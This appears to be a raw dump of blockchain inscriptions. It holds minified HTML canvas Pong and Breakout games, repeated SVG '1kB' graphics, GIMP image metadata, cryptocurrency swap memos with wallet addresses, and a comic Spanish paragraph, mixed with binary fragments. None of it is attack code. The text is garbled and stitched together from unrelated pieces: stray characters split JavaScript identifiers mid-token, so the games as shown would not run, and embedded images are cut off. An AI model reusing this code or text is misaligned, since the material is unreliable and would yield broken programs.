Rz4nhsOt3oyKDhogKAUaICgRB/TIszja954/urUcHzt2bOjvd/To0eyn3xz6+/VLBw0QlAINEJSIgxVlpUQKmzZtGvcUmAA6aICgdNBDZO3z+eqeQDc3NzeGmQzf/v37y/G0P3nv6suri3Bbtmwpx/nFwH/65/tGOaWUVr982Zfzi5Yjn1tGBw0QlAINEJSIY0R+5Ql255mmj/3T9Lv24uHvPD7uKaSUUjr+5E/HPYVGOmiAoBRogKBEHC0pYov8Yfx1ry9WfK/h7kvqH/Q/6Xz8ny6juI27DVHmqYMGCEqBBghKxDGAIp5Iqfp+wm5WaNQdB7CYDhogKAUaICgRxwDyeKKILbqJLOqOm9ZVHEAzHTRAUDroAXS62Fd80/dyis55za3VU77Sw48NPjlgxdNBAwSlQAMEJeLoUR5F7L5v+X1vWb+uHD/69iPl+Lp7b1qy/bp7O+8LTBcdNEBQCjRAUCKOLpwfOWTb/+JEtv2mJfumLLZoiirqtos1gJR00ABhKdAAM
QYk4uiCeAMZBBw0QlAINEJQCDRCUAg0QlIuEwFDt37+/dvvmHTtHPJPlRZynDhogKAUaIKipijjyjyoPHXigemF+fgyzGY+9jxxZsm1ubm4MM6FO/m8RLQJg9HTQAEEp0ABBrdq8Y+cL454EAEvpoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYL6f4+LRmUu9i0TAAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const conM
text=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.wM
idth>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rigM
htPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fM
illRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});dL
ocument.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","RM
","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGaM
p=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.wiM
dth&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSizeM
;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvasM
.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.whLSich===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/plain;charset=utf-8
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
@j>=:ETH.ETH:0xDB5B6952643171047484311e567F860c0a30ec1C:454702::0
text/plain;charset=utf-8
No hay justicia en este mundo, las gorras estan de huelga y el sol nos fuerza marchitar la frente.
No se van a cansar de protestar nunca?
que voy a hacer yo de aca a dos a
os con todas estas arrugas? Para colmo escuche ayer en la radio que la arrugas tambi
n han organizado un gremio y quieren pedir que les pongamos cremas org
nicas y no se que otras ridiculeces. Y esto es todo por culpa de las gorras que no hacen mas que quejarse. Lo
an que hacer es sentarse en la cabeza de uno y esperar a quM
e se haga de noche, pero ni eso pueden hacer sin protestar. Ahora quieren que les pongamos protector solar factor sesenta para que no se decoloren y quieren turnos de no mas de dos horas porque les hace calor. Si, ya se, usted va a decir que soy un capitalista explotador, las pobres gorras tienen derechos como cualquier zapatilla de vecino o tenedor de plata. Imaginense un mundo que estos seres no fueran mas que objetos inanimados, que mundo feliz,
0+HO,$N*CO^1q*)OV@|*
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
DjB=:BNB.BNB:bnb1vw2ypxm9dzktdnd5cuh629c82x9e9xh9xryk7z:24180855:te:0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.M
0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:69eac0b9-5ded-4db5-9d6d-0e98185ccc55" xmpMM:InstanceID="xmp.iid:f1a3016f-1864-4d42-b07f-eb9da3348ad8" xmpMM:OriginalDocumentID="xmp.did:6b3f751c-cbe4-43aa-a4cb-3670cf60360a" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407985906209" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:53:04+11:00" xmp:ModifyDate="2023:02:15T07:53:04+11:00"> <xmpMM:HisM
tory> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:9249d2ed-7ac8-4fe4-a179-f38514b87b65" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:53:05"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dM
c="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:c683129f-e9b4-45f6-b553-bf651af36b34" xmpMM:InstanceID="xmp.iid:beadcc44-715f-4334-8743-b7933d596fa0" xmpMM:OriginalDocumentID="xmp.did:da930a31-0afa-4096-96bb-eda7aeb5e023" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407961880034" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorToM
ol="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:52:40+11:00" xmp:ModifyDate="2023:02:15T07:52:40+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:3809d12d-fc36-4ff5-8bdf-9e23af9e1e44" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:52:41"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Mx
                                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
- " " -D*2**2*D<I;7;I<lUKKUl}ici}
- " " -D*2**2*D<I;7;I<lUKKUl}ici}
0+HO,$N*CO^1q*)OV@|*
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
,It's another day for you and me in paradise!h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
